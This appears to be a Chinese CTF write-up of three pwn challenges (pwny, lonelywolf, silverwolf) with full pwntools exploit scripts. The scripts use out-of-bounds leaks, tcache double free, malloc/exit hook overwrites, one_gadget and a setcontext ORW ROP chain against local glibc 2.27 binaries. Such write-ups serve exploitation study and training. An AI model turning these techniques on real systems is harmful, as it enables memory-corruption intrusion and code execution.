一、pwny
先checksec一下

保护全开了,进入ida看看代码。

三个功能,主要看read和write两个,其次注意在循环的顶上有个函数。

这里面,有一个定义的变量,存放了随机数的文字描述符。这里的变量作为后面两个功能里面的read的第一个参数,所以我们是无法输入数据的。

进入write函数,这里数组存在越界,可以通过这里修改两次,把之前那个变量修改为0。这里是这么理解的:第一次修改,是把随机数里面的一个数据替换文字描述符,然后在来一次,由于这个随机数不会对应一个打开的文件,所以read不执行,v2仍然是0,就成功修改了。因为这题开启了PIE加上本就有的ASLR,我们要泄露的地址有两个,一个是PIE,另一个是libc

在read功能里面有个__print_chk,在汇编代码可以看见,第三个参数是可以被栈顶的内容影响,而这是我们可以输入的,所以继续数组越界


分别泄露出.bss段上的stdrr,以及data里面存在一个该地址的偏移,可以看出来方向是对了,主题人给的条件。

这是计算泄露出的地址距离libc_base的偏移

最后劫持exit_hook为system,并且找到exit对应的参数位置,将其修改为”/bin/sh\x00”。大佬的思维是真滴强!膜拜!
exp1:
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 
 | from pwn import *p=process('./1')
 libc =ELF('./libc-2.27.so')
 def write_s(idx):
 p.recvuntil("Your choice:")
 p.sendline("2")
 p.recvuntil("Index: ")
 p.sendline(str(idx))
 def read_s(idx):
 p.recvuntil("Your choice:")
 p.sendline("1")
 p.recvuntil("Index: ")
 p.send(p64(idx))
 write_s(0x100)
 write_s(0x100)
 read_s(0xFFFFFFFFFFFFFFFC)
 p.recvuntil("Result: ")
 libc.address = int(p.recv(12),16) -0x3ec680
 print hex(libc.address)
 read_s(0xFFFFFFFFFFFFFFF5)
 p.recvuntil("Result: ")
 pie = int(p.recv(12),16)+0x58
 print hex(pie)
 write_s((libc.address+0x61b968 - pie)/8)
 p.sendline('/bin/sh\x00')
 gdb.attach(p)
 write_s((libc.address+0x61bf60 - pie)/8)
 p.sendline(p64(libc.sym['system']))
 
 p.sendline('3')
 p.interactive()
 
 | 
第二种做法涉及到一个知识点,scanf函数在遇到过长输入时会申请堆。前面在泄漏PIE和libc是一致的,getshell时,让数组越界访问到__malloc_hook那边去,写入one_gadget
exp2:
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 
 | from pwn import *p=process('./1')
 
 def write(idx):
 p.recvuntil("Your choice: ")
 p.sendline("2")
 p.recvuntil("Index: ")
 p.sendline(str(idx))
 
 
 def write_con(idx, con):
 p.recvuntil("Your choice: ")
 p.sendline("2")
 p.recvuntil("Index: ")
 p.sendline(str(idx))
 p.send(con)
 
 def read(con):
 p.recvuntil("Your choice: ")
 p.sendline("1")
 p.recvuntil("Index: ")
 p.send(con)
 
 
 write(256)
 write(256)
 
 
 read(p64(0xfffffffffffffffc))
 p.recvuntil("Result: ")
 info = p.recvuntil("\n")
 libc_info = int(info, 16)
 print("stderr: ", hex(libc_info))
 
 
 read(p64(0xfffffffffffffff5))
 p.recvuntil("Result: ")
 info = p.recvuntil("\n", drop=True)
 code_base = int(info, 16)-0x202008
 print("code base: ", hex(code_base))
 
 
 libc = ELF("./libc-2.27.so")
 base = libc_info-libc.sym["_IO_2_1_stderr_"]
 print "libc base: ", hex(base)
 m_hook = base+libc.sym["__malloc_hook"]
 print "m_hook: ", hex(m_hook)
 realloc = base+libc.sym["realloc"]
 print"realloc: ", hex(realloc)
 oneshot = [0x4f3d5, 0x4f432, 0x10a41c]
 oneshot = base+oneshot[2]
 print"oneshot: ", hex(oneshot)
 
 offset = (m_hook-code_base-0x202060)/8
 print"offset: ", offset
 write_con(int(offset), p64(realloc+9))
 gdb.attach(p)
 write_con(int(offset-1), p64(oneshot))
 p.sendlineafter(":", b"1"*0x400)
 
 p.interactive()
 
 
 | 
第三种在栈上进行跳转,这里就不修改和解释了,一个大佬直接复制过来的,就纯粹记录知识点:libc中environ存储了栈上环境变量
exp3:
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 
 | from pwn import *
 ld_path = "/home/fanxinli/ctf_go/glibc-2.27-64/lib/ld-2.27.so"
 
 
 p = process([ld_path, "./pwny"])
 
 
 def write(idx):
 p.recvuntil("Your choice: ")
 p.sendline("2")
 p.recvuntil("Index: ")
 p.sendline(str(idx))
 
 
 def write_con(idx, con):
 p.recvuntil("Your choice: ")
 p.sendline("2")
 p.recvuntil("Index: ")
 p.sendline(str(idx))
 p.send(con)
 
 def read(con):
 p.recvuntil("Your choice: ")
 p.sendline("1")
 p.recvuntil("Index: ")
 p.send(con)
 
 
 write(256)
 write(256)
 
 
 read(p64(0xfffffffffffffffc))
 p.recvuntil("Result: ")
 info = p.recvuntil("\n", drop=True)
 libc_info = int(info, 16)
 print("stderr: ", hex(libc_info))
 
 
 read(p64(0xfffffffffffffff5))
 p.recvuntil("Result: ")
 info = p.recvuntil("\n", drop=True)
 code_base = int(info, 16)-0x202008
 print("code base: ", hex(code_base))
 
 
 
 libc = ELF("/home/fanxinli/ctf_go/glibc-2.27-64/lib/libc-2.27.so")
 base = libc_info-libc.sym["_IO_2_1_stderr_"]
 environ = base+libc.sym["environ"]
 print("environ: ", hex(environ))
 oneshot = [0x415b6, 0x4160a, 0xdfae1]
 oneshot = base+oneshot[0]
 
 
 offset = int((environ-code_base-0x202060)/8)
 read(p64(offset & 0xffffffffffffffff))
 p.recvuntil("Result: ")
 info = p.recvuntil("\n", drop=True)
 write_ret = int(info, 16)-0x118
 print("write_ret: ", hex(write_ret))
 
 
 offset = int((write_ret-code_base-0x202060)/8)
 write_con(offset, p64(oneshot))
 
 p.interactive()
 
 
 | 
二、lonelywolf
程序存在UAF,double free把堆块申请到tcache 上,将之释放得到libc,然后分配到malloc_hook上执行one_gadget即可,注意的是double free时,要free一次后往里面写数据覆盖key,绕过检查,才能二次free
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 
 | 
 from pwn import *
 context(arch='amd64',os='linux',log_level='debug')
 
 p=process('./2')
 elf=ELF('./2')
 libc=ELF('./libc-2.27.so')
 __malloc_hook=libc.sym['__malloc_hook']
 
 def allocate(size):
 p.sendlineafter("choice: ",'1')
 p.sendlineafter("Index: ",'0')
 p.sendlineafter("Size: ",str(size))
 def edit(content):
 p.sendlineafter("choice: ",'2')
 p.sendlineafter("Index: ",'0')
 p.sendlineafter("Content: ",content)
 def show():
 p.sendlineafter("choice: ",'3')
 p.sendlineafter("Index: ",'0')
 def delete():
 p.sendlineafter("choice: ",'4')
 p.sendlineafter("Index: ",'0')
 
 
 allocate(0x60)
 delete()
 edit(p64(0))
 delete()
 show()
 p.recvuntil("Content: ")
 heap=u64(p.recv(6).ljust(8,'\0'))
 log.info("heap addr:" + hex(heap))
 edit(p64(heap - 0x250))
 allocate(0x60)
 allocate(0x60)
 for i in range(0,8):
 edit(p64(0))
 delete()
 show()
 p.recvuntil("Content: ")
 libc_base = u64(p.recv(6).ljust(8,'\0')) - 0x3ebca0
 one_gadget = libc_base + 0x10a41c
 __malloc_hook = libc_base + __malloc_hook
 log.info("libc base:0x%x" %libc_base)
 log.info("__malloc_hook:0x%x" %__malloc_hook)
 log.info("one_gadget:0x%x" %one_gadget)
 allocate(0x50)
 edit(p64(0))
 allocate(0x10)
 edit(p64(__malloc_hook))
 delete()
 edit(p64(__malloc_hook))
 allocate(0x10)
 allocate(0x10)
 edit(p64(one_gadget))
 gdb.attach(p,"b*main")
 allocate(0x20)
 p.interactive()
 
 | 
silverwolf
时隔几月,总算是有能力来复现了,真不容易,不忘初心,砥砺前行!
 image-20210925084726694
image-20210925084726694
常规checksec,64位保护全开
 image-20210925084839791
image-20210925084839791
 image-20210925084858088
image-20210925084858088
程序一开始就初始化了沙箱,看来是道orw的题了
 image-20210925085147596
image-20210925085147596
add功能里面,只能申请小等于0x78的堆块,然后堆块结构体只存放一个堆块,也就是我们后续操作只能对着当前堆块进行
 image-20210925085714119
image-20210925085714119
delete功能存在UAF漏洞
 image-20210925085753680
image-20210925085753680
show功能打印堆块内容
 image-20210925090452594
image-20210925090452594
edit功能往堆块里面写内容
 image-20210925091304553
image-20210925091304553
由于开启沙箱,堆块存在十分多,把存放有堆地址的堆块申请出来,泄露堆地址
 image-20210925094259648
image-20210925094259648
 image-20210925094827325
image-20210925094827325
通过得到的堆地址,以及UAF把堆块申请到tcache上去,然后修改tcache entries,破坏结构,然后释放tcache,得到libc
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 
 | add(0x60)show()
 p.recvuntil("Content: ")
 heap_addr = u64(p.recv(6).ljust(8, '\x00')) - 0x10d0
 log.info("heap_addr==>0x%x" %heap_addr)
 free()
 edit(p64(heap_addr + 0x10))
 add(0x60)
 add(0x60)
 payload = p64(0x0002020200000002) + p64(0) + p64(0x0707070707070707)*6
 edit(payload)
 free()
 show()
 p.recvuntil("Content: ")
 libc_base = u64(p.recv(6).ljust(8, '\x00')) - 0x3EBCA0
 log.info("libc_base==>0x%x" %libc_base)
 
 setcontext = libc_base + libc.sym['setcontext'] + 53
 free_hook = libc_base + libc.sym['__free_hook']
 mprotect = libc_base + libc.sym['mprotect']
 
 | 
 image-20210925102647508
image-20210925102647508
 image-20210925163718481
image-20210925163718481
 image-20210925163939660
image-20210925163939660
 image-20210925164137807
image-20210925164137807
 image-20210925165150750
image-20210925165150750
由于前面产生libc地址破坏了堆块,所以要再重新修复一下,并且还要继续利用,所以在修复的同时也要再次覆盖chunk在上面,因为我们的申请的堆块大小有限制,所以要从把堆块劫持到0x20开始(前0x40是count),然后这边生成出的堆块是0x40,刚好,如果是从0x20开始,一直到0x80都是我们能申请的大小,而这跨度刚好是0x38,十分巧妙!膜拜大佬!
 image-20210925104646878
image-20210925104646878
然后就是往那个堆块填充我们需要分配堆块的地址,就可以一块块的分配出去,完成free_hook写setcontext,设置’./flag\x00’地址,gadget所需寄存器的值设置以及rop填充地址,等等
 image-20210925174414433
image-20210925174414433
这里说一下,要用系统调用来调用open函数,否则会在运行到open函数直接报错退出,具体不懂,我跟踪到open函数发现fd分配到的数值很大,rdi什么的也是不对劲,具体原因不明白,然后就是,后面虽然一个堆块放不下rop,但是,分配出去的堆块我惊讶的发现是没有堆头的,所以rop仍然是连贯的
总的来说,还是完成了!
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 
 | 
 from pwn import *
 context(arch = 'amd64',os = 'linux')
 elf = ELF("./1")
 libc = ELF("/home/shoucheng/glibc-all-in-one/libs/2.27-3ubuntu1.4_amd64/libc-2.27.so")
 
 ld = ELF("/home/shoucheng/glibc-all-in-one/libs/2.27-3ubuntu1.4_amd64/ld-2.27.so")
 p = process(argv=[ld.path,elf.path],env={"LD_PRELOAD" : libc.path})
 
 def debug():
 gdb.attach(p,"b *main")
 
 def add(size):
 p.sendlineafter("choice: ",'1')
 p.sendlineafter("Index: ",'0')
 p.sendlineafter("Size: ",str(size))
 def edit(content):
 p.sendlineafter("choice: ",'2')
 p.sendlineafter("Index: ",'0')
 p.sendlineafter("Content: ",content)
 def show():
 p.sendlineafter("choice: ",'3')
 p.sendlineafter("Index: ",'0')
 def free():
 p.sendlineafter("choice: ",'4')
 p.sendlineafter("Index: ",'0')
 
 add(0x60)
 show()
 p.recvuntil("Content: ")
 heap_addr = u64(p.recv(6).ljust(8, '\x00')) - 0x10d0
 log.info("heap_addr==>0x%x" %heap_addr)
 free()
 edit(p64(heap_addr + 0x10))
 add(0x60)
 add(0x60)
 payload = p64(0x0002020200000002) + p64(0) + p64(0x0707070707070707)*6
 edit(payload)
 free()
 show()
 p.recvuntil("Content: ")
 libc_base = u64(p.recv(6).ljust(8, '\x00')) - 0x3EBCA0
 log.info("libc_base==>0x%x" %libc_base)
 
 setcontext = libc_base + libc.sym['setcontext'] + 53
 free_hook = libc_base + libc.sym['__free_hook']
 pop_rdi = 0x00000000000215bf + libc_base
 pop_rsi = 0x0000000000023eea + libc_base
 pop_rdx = 0x0000000000001b96 + libc_base
 pop_rax = next(libc.search(asm('pop rax\nret'))) + libc_base
 ret = 0x00000000000008aa + libc_base
 syscall = next(libc.search(asm("syscall\nret"))) + libc_base
 read = libc_base + libc.sym["read"]
 write = libc_base + libc.sym["write"]
 
 rop_addr = heap_addr+0x1000
 flag_addr = heap_addr+0x2000
 
 rop = p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0) + p64(pop_rax) + p64(2) + p64(syscall)
 rop += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(flag_addr) + p64(pop_rdx)+ p64(0x50) + p64(read)
 rop += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(flag_addr) + p64(pop_rdx)+ p64(0x50) + p64(write)
 log.info("orw rop len is: " + hex(len(rop)))
 add(0x48)
 payload = p64(0)*9
 edit(payload)
 for i in range(5):
 add(0x10)
 add(0x18)
 edit(p64(heap_addr + 0x50))
 add(0x38)
 payload = p64(free_hook) + p64(flag_addr) + p64(heap_addr + 0x2000)
 payload += p64(heap_addr + 0x20A0) + p64(rop_addr) + p64(rop_addr+0x50) + p64(0)
 edit(payload)
 add(0x10)
 edit(p64(setcontext))
 add(0x20)
 edit("./flag\x00")
 add(0x40)
 edit(p64(rop_addr) + p64(ret))
 add(0x50)
 edit(rop[:0x50])
 add(0x60)
 edit(rop[0x50:])
 add(0x30)
 free()
 p.interactive()
 
 | 
由于其他的题目我还未彻底学会,所以这里贴上大佬的博客,里面有其他题目的wp:
https://blog.csdn.net/A951860555/article/details/116910945?utm_medium=distribute.pc_relevant.none-task-blog-baidujs_title-0&spm=1001.2101.3001.4242
https://nuoye-blog.github.io/2021/05/16/466a7375/